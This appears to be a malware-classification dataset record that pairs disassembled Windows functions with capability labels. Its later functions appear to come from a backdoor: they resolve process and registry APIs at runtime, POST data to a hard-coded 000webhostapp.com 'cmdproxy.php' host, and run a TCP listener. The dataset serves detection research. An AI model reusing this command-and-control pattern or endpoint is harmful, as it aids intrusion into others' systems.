joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140026672
Capabilities:
Open clipboard

Disassembly:
push rsi
sub rsp, 0x20
xor esi, esi
xor ecx, ecx
call sub.USER32.dll_OpenClipboard
test eax, eax
jne 0x140026694
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov rax, rsi
add rsp, 0x20
pop rsi
ret

Function at 0x140029d30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140029dc0
cmp r10, r11
jb 0x140029e36
cmp r10, rdx
ja 0x140029e4a
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x140029dc2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140029da0
jmp 0x140029e24
ja 0x140029dca
mov r11, r10
cmp rax, r8
jne 0x140029d64
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140029e00
mov rdi, r8
sub ecx, edx
jns 0x140029e1b
jmp 0x140029e26
cmp r8, rsi
je 0x140029e5b
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140029e26
xor al, 1
cmp rdi, rsi
jne 0x140029de0
jmp 0x140029e26
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400b2320
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1400b2090
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_eb26296b556cef10fb713a38f3d16b9886080f26library_std_src_threadmod.rs
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.1400b2110
ud2
Function at 0x14003faa6
Capabilities:
Hash data using fnv

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov rbx, r9
mov rsi, r8
mov r11, rdx
mov r15, qword [r9]
mov r8, qword [r9 + 0x10]
lea rdi, [r8*8]
movabs rax, 0xcbf29ce484222325
movabs rdx, 0x100000001b3
mov r9, r15
test rdi, rdi
je 0x14003fb19
movzx r10d, byte [r9 + 4]
xor rax, r10
imul rax, rdx
movzx r10d, byte [r9 + 5]
xor r10, rax
mov eax, dword [r9]
add r9, 8
imul r10, rdx
xor rax, r10
imul rax, rdx
add rdi, 0xfffffffffffffff8
jmp 0x14003fae8
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x14003fc73
xor edx, edx
div r9
mov rdi, rdx
mov rax, qword [rsi]
mov r12, rdx
shl r12, 5
movzx edx, word [rax + r12 + 0x1c]
cmp dx, word [rsi + 0x20]
jne 0x14003fb8d
cmp qword [rax + r12 + 0x10], r8
jne 0x14003fb8d
mov r14, qword [rax + r12]
xor r9d, r9d
cmp r8, r9
je 0x14003fc46
mov rdx, r9
mov r9b, byte [r14 + r9*8 + 4]
cmp r9b, byte [r15 + rdx*8 + 4]
jne 0x14003fb84
mov r9b, byte [r15 + rdx*8 + 5]
cmp byte [r14 + rdx*8 + 5], r9b
jne 0x14003fb84
lea r9, [rdx + 1]
mov r10d, dword [r14 + rdx*8]
cmp r10d, dword [r15 + rdx*8]
je 0x14003fb52
cmp rdx, r8
jae 0x14003fc46
mov qword [rsp + 0x28], rcx
lea r13, [rsp + 0x30]
mov rcx, r13
mov rdx, r15
mov r14, r11
call fcn.14003fc9e
lea rbp, [rsp + 0x48]
mov rcx, rbp
mov rdx, r14
mov r8, r13
call fcn.14003ea9a
mov eax, dword [rbp]
cmp eax, 0x2a
jne 0x14003fc24
mov rdx, qword [rsi + 0x10]
cmp rdx, rdi
jbe 0x14003fc8d
mov edi, dword [rsp + 0x4c]
movzx ebp, word [rsi + 0x20]
mov rsi, qword [rsi]
mov rcx, qword [rsi + r12]
mov rdx, qword [rsi + r12 + 8]
call fcn.14000958c
mov rax, qword [rbx + 0x10]
mov qword [rsi + r12 + 0x10], rax
movups xmm0, xmmword [rbx]
movups xmmword [rsi + r12], xmm0
mov dword [rsi + r12 + 0x18], edi
mov word [rsi + r12 + 0x1c], bp
mov rax, qword [rsp + 0x28]
mov dword [rax + 4], edi
mov dword [rax], 0x2a
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rsi, [rsp + 0x50]
mov edx, dword [rsi - 4]
mov r8, qword [rsp + 0x28]
lea rdi, [r8 + 8]
mov ecx, 0xf
rep movsq qword [rdi], qword [rsi]
mov dword [r8], eax
mov dword [r8 + 4], edx
jmp 0x14003fc54
mov eax, dword [rax + r12 + 0x18]
mov dword [rcx + 4], eax
mov dword [rcx], 0x2a
mov rdx, qword [rbx + 8]
mov rcx, r15
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.14000958c
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zero
lea r8, str.C:Userslightning.cargo_registry_srcindex.crates.io_6f17d22bba15001f_regex_automata_0.4.3_src_nfa_thompsonmap.rs
mov edx, 0x39
call fcn.1400b2110
ud2
lea r8, str.C:Userslightning.cargo_registry_srcindex.crates.io_6f17d22bba15001f_regex_automata_0.4.3_src_nfa_thompsonmap.rs
mov rcx, rdi
call fcn.1400b1f90
ud2
Function at 0x14009db50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x14009dbab
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
jae 0x14009dbab
movzx eax, byte [r9 + rcx]
cmp eax, 0x49
je 0x14009dbc6
cmp eax, 0x42
jne 0x14009dbab
lea r11, [rcx + 1]
mov qword [rsi + 0x10], r11
cmp r11, r10
jae 0x14009dc76
cmp byte [r9 + r11], 0x5f
jne 0x14009dc76
lea rax, [rcx + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x14009dcde
mov rcx, rsi
xor edx, edx
call fcn.1400994c0
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.1400994c0
test al, al
jne 0x14009dd71
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14009dc02
lea rdx, [0x14011cdbb]
mov r8d, 1
call fcn.140026f70
test al, al
jne 0x14009dd71
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x14009dbba
xor r14d, r14d
lea rbx, [0x14011d19e]
nop word [rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x14009dc34
cmp byte [rax + rcx], 0x45
je 0x14009dd93
sub r14, 1
jb 0x14009dc59
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14009dc59
mov r8d, 2
mov rdx, rbx
call fcn.140026f70
test al, al
jne 0x14009dd71
mov rcx, rsi
call fcn.14009ddb0
test al, al
jne 0x14009dd71
mov rax, qword [rsi]
test rax, rax
jne 0x14009dc20
jmp 0x14009dbba
xor eax, eax
mov edi, 0x3e
nop dword [rax]
mov r8b, 1
cmp r11, r10
jae 0x14009dd38
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je 0x14009dcd2
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x14009dcbc
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x14009dcab
add dl, 0xa9
jmp 0x14009dcba
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x14009dd38
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x14009dd38
movzx edx, bl
add rax, rdx
jae 0x14009dc80
jmp 0x14009dd38
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x14009dd38
cmp rax, rcx
jae 0x14009dd35
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x14009dd8b
cmp qword [rsi + 0x20], 0
je 0x14009dd9f
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.14009db50
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x14009dbbc
mov r8b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14009dd79
lea rax, [0x14011d169]
lea rdx, str.recursion_limit_reachedinvalid_syntax
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
or r8, 0x10
call fcn.140026f70
test al, al
je 0x14009dd79
mov dil, 2
jmp 0x14009dbba
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor edi, edi
jmp 0x14009dbba
mov dil, 1
xor r8d, r8d
jmp 0x14009dd3a
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x14009dbba
xor edi, edi
jmp 0x14009dbba
Function at 0x1400a5250
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rdx
movzx ebp, byte [rdx + 0x38]
xor ebx, ebx
cmp bpl, 1
setne dl
mov eax, 0
sbb eax, eax
mov rsi, rcx
or al, dl
movzx ecx, al
cmp cl, 0xff
je 0x1400a5280
test ecx, ecx
jne 0x1400a52d0
movzx ebx, byte [rdi + 0x3a]
cmp al, 0xff
je 0x1400a528c
test ecx, ecx
jne 0x1400a52d0
mov rcx, rdi
call fcn.1400a5130
movzx eax, al
test bpl, bpl
jne 0x1400a52d7
lea rdx, [rdi + 0x10]
xor ecx, ecx
cmp byte [rdi + 0x10], 6
cmove rdx, rcx
je case.0x1400a52c3.2
movzx r8d, byte [rdx]
mov ecx, 6
lea r9, [0x1400a5448]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov rcx, qword [rdx + 0x10]
add rcx, 4
jmp case.0x1400a52c3.2
xor eax, eax
test bpl, bpl
je 0x1400a529c
xor ecx, ecx
add rax, rcx
movzx r10d, bl
lea rcx, [rax + r10]
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x1400a5429
mov r11, qword [rdi]
lea r8, [r11 + rcx]
cmp rdx, rcx
jne 0x1400a530a
movzx r9d, byte [rdi + 0x10]
xor r10d, r10d
jmp 0x1400a5389
movzx r9d, byte [rdi + 0x10]
add rax, r10
sub rax, rdx
inc rax
lea rdi, [rdx + r11]
dec rdi
xor r10d, r10d
cmp r9b, 3
jae 0x1400a5350
nop dword [rax + rax]
cmp byte [rdi], 0x5c
je 0x1400a536b
inc rax
dec rdi
cmp rax, 1
jne 0x1400a5330
jmp 0x1400a5389
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x1400a536b
cmp ebx, 0x5c
je 0x1400a536b
inc rax
dec rdi
cmp rax, 1
jne 0x1400a5350
jmp 0x1400a5389
neg rax
add rcx, rax
inc rcx
cmp rdx, rcx
jb 0x1400a5437
add r11, rcx
mov r10d, 1
mov r8, r11
sub rdx, rcx
je 0x1400a53b3
mov al, 9
cmp rdx, 2
je 0x1400a53b7
cmp rdx, 1
jne 0x1400a53c7
cmp byte [r8], 0x2e
jne 0x1400a53c7
xor eax, eax
cmp r9b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x1400a53c7
mov al, 0xa
jmp 0x1400a53c7
cmp byte [r8], 0x2e
jne 0x1400a53c7
cmp byte [r8 + 1], 0x2e
sete al
xor al, 9
add r10, rdx
mov qword [rsi], r10
mov byte [rsi + 8], al
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp case.0x1400a52c3.2
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp case.0x1400a52c3.2
mov ecx, 2
jmp case.0x1400a52c3.2
lea r8, str.library_std_srcpath.rs
call fcn.1400b2010
ud2
lea r8, str.library_std_srcpath.rs
call fcn.1400b2010
ud2
Function at 0x1400a5800
Capabilities:
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x58]
call fcn.1400a2bb0
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x410], rax
test rax, rax
je 0x1400a5987
mov qword [rbp + 0x3c8], rsi
mov rax, qword [rbp - 0x50]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x3f0], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f8], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x418], rax
xor edi, edi
xor ebx, ebx
xor r13d, r13d
cmp r8, 0x201
jae 0x1400a58c0
jmp 0x1400a58af
jae 0x1400a5999
cmp r8, 0x201
jae 0x1400a58c0
lea r12, [rbp - 0x58]
mov esi, 0x200
mov r15, r8
jmp 0x1400a5918
sub r8, r13
sub rbx, r13
cmp rbx, r8
jae 0x1400a58ef
lea rcx, [rbp + 0x3f0]
mov rdx, r13
call fcn.1400b4c40
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x418], rax
mov rdi, qword [rbp + 0x3f8]
mov eax, 0xffffffff
cmp rdi, rax
mov r13d, 0xffffffff
cmovb r13, rdi
mov qword [rbp + 0x400], r13
mov rbx, rdi
mov r12, qword [rbp + 0x418]
mov rsi, r13
mov r15, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x410]
mov rdx, r12
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov r14d, eax
test eax, eax
jne 0x1400a5948
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400a59cf
mov r8d, r14d
cmp r15, r8
jne 0x1400a58a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400a5a72
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x1400a58af
jmp 0x1400a58c0
lea rcx, [rbp - 0x50]
call fcn.1400a0310
mov byte [rsi + 0x18], 2
jmp 0x1400a5a3c
cmp rsi, r8
jb 0x1400a5a8c
lea rcx, [rbp + 0x3a8]
mov rdx, r12
call fcn.1400a44c0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
movaps xmmword [rbp + 0x3e0], xmm1
movaps xmmword [rbp + 0x3d0], xmm0
jmp 0x1400a59eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3d0], rax
mov byte [rbp + 0x3e8], 2
test rdi, rdi
mov rsi, qword [rbp + 0x3c8]
je 0x1400a5a08
mov edx, 2
mov rcx, qword [rbp + 0x418]
call fcn.140004b70
cmp byte [rbp + 0x3e8], 2
jne 0x1400a5a51
mov byte [rsi + 0x18], 2
lea rcx, [rbp + 0x3d0]
call fcn.1400a0310
cmp qword [rbp + 0x408], 0
je 0x1400a5a3c
mov edx, 2
mov rcx, qword [rbp + 0x410]
call fcn.140004b70
nop
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [rbp + 0x3d0]
movaps xmm1, xmmword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
cmp qword [rbp + 0x408], 0
jne 0x1400a5a2b
jmp 0x1400a5a3c
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400b2110
jmp 0x1400a5aa1
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.1400b2090
ud2
Function at 0x1400a8650
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x1400a8693
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x1400a6330]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.1400b1f50
ud2

Function at 0x1400abf40
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x38
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x1400abf75
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x1400abf7a
call fcn.1400a8650
nop
add rsp, 0x38
ret

Function at 0x1400b17f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b183a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b183a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b183a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b183a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b183a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b183c
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004078a0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x004078b0]
mov dword [rax], 1
mov rax, qword [0x004078c0]
mov dword [rax], 1
mov rax, qword [0x00407890]
mov dword [rax], 1
mov rax, qword [0x00407750]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00407880]
mov dword [0x0040a00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00407840]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00407700]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067
Function at 0x401560
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rcx, str.ws2_32.dll
mov rax, qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
call rax
lea rdx, [0x0040a9d0]
mov qword [rdx], rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
call rax
lea rdx, [0x0040a9b8]
mov qword [rdx], rax
lea rcx, str.advapi32.dll
mov rax, qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
call rax
lea rdx, [0x0040a988]
mov qword [rdx], rax
lea rcx, str.psapi.dll
mov rax, qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
call rax
lea rdx, [0x0040a9c0]
mov qword [rdx], rax
lea rax, [0x0040a9d0]
mov rax, qword [rax]
lea rdx, str.send
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a980]
mov qword [rdx], rax
lea rax, [0x0040a9b8]
mov rax, qword [rax]
lea rdx, str.CreatePipe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a9c8]
mov qword [rdx], rax
lea rax, [0x0040a9b8]
mov rax, qword [rax]
lea rdx, str.CreateProcessA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a978]
mov qword [rdx], rax
lea rax, [0x0040a988]
mov rax, qword [rax]
lea rdx, str.RegCreateKeyA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a998]
mov qword [rdx], rax
lea rax, [0x0040a988]
mov rax, qword [rax]
lea rdx, str.RegSetValueExA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a970]
mov qword [rdx], rax
lea rax, [0x0040a9c0]
mov rax, qword [rax]
lea rdx, str.EnumProcesses
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a9a8]
mov qword [rdx], rax
lea rax, [0x0040a9d0]
mov rax, qword [rax]
lea rdx, str.WSAStartup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a9d8]
mov qword [rdx], rax
lea rax, [0x0040a9d0]
mov rax, qword [rax]
lea rdx, str.WSACleanup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a9b0]
mov qword [rdx], rax
lea rax, [0x0040a9b8]
mov rax, qword [rax]
lea rdx, str.GetModuleFileNameA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a990]
mov qword [rdx], rax
lea rax, [0x0040a9b8]
mov rax, qword [rax]
lea rdx, str.GetStartupInfoA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
call rax
lea rdx, [0x0040a9a0]
mov qword [rdx], rax
nop
add rsp, 0x20
pop rbp
ret
Function at 0x402260
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
lea rax, [0x0040715a]
mov qword [rsp + 0x20], rax
lea r9, [0x0040715a]
mov r8d, 0x50
lea rdx, str.edwinastronomysecurity.000webhostapp.com
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.cmdproxy.php
lea rdx, str.POST
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], 0
lea rax, str.Content_Type:_application_x_www_form_urlencoded
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.url_encode
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strlen
add rax, 0x14
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
movabs rdx, 0x7265767265737369
movabs rcx, 0x6e6972747326313d
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov word [rax + 0x10], 0x3d67
mov byte [rax + 0x12], 0
mov rdx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.strlen
mov ebx, eax
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.strlen
mov r8d, eax
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x20], ebx
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
nop
add rsp, 0x78
pop rbx
pop rbp
ret
Function at 0x402bf6
Capabilities:
Create tcp socket
Create thread
Start tcp server

Disassembly:
push rbp
sub rsp, 0x210
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1a0], rcx
mov dword [rbp + 0x1a8], edx
mov rax, qword [0x00407950]
mov r8, qword [rax]
lea rax, [rbp - 0x20]
mov rdx, rax
mov ecx, 0x202
call r8
mov dword [rbp + 0x184], eax
cmp dword [rbp + 0x184], 0
jne 0x402d9a
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x188], rax
cmp qword [rbp + 0x188], 0xffffffffffffffff
je 0x402d9d
mov word [rbp - 0x30], 2
mov ecx, 0
mov rax, qword [sym.imp.WS2_32.dll_htonl]
call rax
mov dword [rbp - 0x2c], eax
cmp qword [rbp + 0x1a0], 0
je 0x402cbc
mov rcx, qword [rbp + 0x1a0]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x2c], eax
mov eax, dword [rbp - 0x2c]
cmp eax, 0xffffffff
jne 0x402ccd
mov ecx, 0
mov rax, qword [sym.imp.WS2_32.dll_htonl]
call rax
mov dword [rbp - 0x2c], eax
jmp 0x402ccd
mov ecx, 0
mov rax, qword [sym.imp.WS2_32.dll_htonl]
call rax
mov dword [rbp - 0x2c], eax
mov eax, dword [rbp + 0x1a8]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x2e], ax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x188]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_bind]
call rax
mov dword [rbp + 0x184], eax
cmp dword [rbp + 0x184], 0xffffffff
je 0x402da0
mov rax, qword [rbp + 0x188]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_listen]
call rax
mov dword [rbp - 0x44], 0x10
lea rcx, [rbp - 0x44]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x188]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_accept]
call rax
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x188], 0xffffffffffffffff
je 0x402d34
mov rax, qword [rbp + 0x178]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [sym.HandleScks]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_CreateThread]
call rax
jmp 0x402d34
nop
jmp 0x402da1
nop
jmp 0x402da1
nop
cmp qword [rbp + 0x188], 0xffffffffffffffff
je 0x402dbe
mov rax, qword [rbp + 0x188]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [0x00407940]
mov rax, qword [rax]
call rax
nop
add rsp, 0x210
pop rbp
ret